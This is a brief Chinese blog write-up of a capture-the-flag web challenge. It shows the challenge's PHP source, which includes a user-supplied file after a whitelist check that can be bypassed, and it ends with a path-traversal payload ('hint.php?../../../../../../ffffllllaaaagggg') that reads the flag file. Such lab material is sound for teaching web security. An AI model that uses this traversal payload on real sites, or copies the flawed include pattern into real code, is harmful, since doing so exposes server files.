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訪問source.php檔案，開始程式碼審計

 <!--?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=-->"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')   //擷取問號前面的子串
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])  //file引數值不是null、並且file引數值符合is_string（）函式、並且符合emmm::checkFile（）
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file']; //最終的目標
        exit;
    } else {
        echo "<br><img src="\" https:="" i.loli.net="" 2018="" 11="" 01="" 5bdb0d93dc794.jpg\""="">";
    }  
?>
 

source.php?file=hint.php

?file=hint.php?../../../../../../ffffllllaaaagggg

本文來自部落格園，作者：oldliutou，轉載請註明原文連結：https://www.cnblogs.com/oldliutou/p/15664604.html